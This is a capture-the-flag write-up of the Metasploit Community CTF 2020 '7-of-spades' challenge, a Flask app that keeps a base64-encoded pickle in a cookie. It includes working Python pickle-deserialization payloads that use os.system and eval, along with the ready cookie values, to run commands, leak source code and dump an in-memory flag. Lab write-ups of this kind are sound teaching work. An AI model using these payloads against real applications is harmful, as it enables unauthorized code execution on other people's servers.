Metasploit Community CTF 2020 (Dec) Write-up: 7-of-spades (port 8888)

Summary

The 7-of-spades challenge is a basic Python web application that lists information about Metasploit modules. It uses a pickle saved in base64 to a cookie that can be modified to get remote code execution.

Python web app listing Metasploit modules

Walk-through

When we click on a module filter we are taken to /modules?filter=type+%3D%3D+"encoder" and a suspicious cookie has been set that contains some of this information. The cookie looks like this:

gASVIQAAAAAAAAB9lIwGZmlsdGVylIwRdHlwZSA9PSAiZW5jb2RlciKUcy4=

Which decodes to (unprintable chars replaced with .s)

...!.......}...filter...type == "encoder".s.

If we modify this cookie to something invalid we notice an error occurs that confirms that we may be on the right path.

We use a simple Python pickle RCE script to generate a base64-ed pickle that will perform code execution for us when it is placed into the cookie and the page is refreshed.

import pickle
import base64
import os


class RCE:
    def __reduce__(self):
        cmd = ('whoami > static/test.txt')
        return os.system, (cmd,)


if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(base64.urlsafe_b64encode(pickled))

This gives us a base64 string we can insert into our cookie:

gASVMwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBh3aG9hbWkgPiBzdGF0aWMvdGVzdC50eHSUhZRSlC4=

As commands will execute without feedback we need a way to get information out of the system. Typically a static folder in a Python Flask application can be found at ./static and anything in here will be visible in the similarly named web path. Using the above test to print the current username into a text file in the static folder we get the following:

Screenshot showing the result of the RCE and that the current user of the python app is root

This can be used to leak the source code, using cat app.py, of the Python application app.py. Inside the source we notice that upon startup there is a flag that is saved into a variable and then the file is unlinked (deleted).

with (app_path / 'flag.png').open('rb') as file_h:
    FLAG = file_h.read()
if not config.DEBUG:
    (app_path / 'flag.png').unlink()

This means that we can't recover the flag, at least easily, using command execution. However because the variable is still in memory within the current Python application we are able to execute some Python in order to save this to a file in that static folder, this time using eval instead of os.system.

import pickle
import base64


class RCE:
    def __reduce__(self):
        cmd = "open('static/flag.png','wb').write(FLAG)"
        return eval, (cmd,)


if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(base64.urlsafe_b64encode(pickled))

Which gives us the following for the cookie value:

gASVRAAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwob3Blbignc3RhdGljL2ZsYWcucG5nJywnd2InKS53cml0ZShGTEFHKZSFlFKULg==

Again browsing to the correct location gives us what we are after!

Flag

And here it is in all its glory, the 7-of-spades:

7-of-spades flag

And the md5sum of this flag gives:

9d00a7a90f78ba4705847ea96b418422If

Other Challenges

Most of the other flags have been written up by my team-mate rushi and can be found here.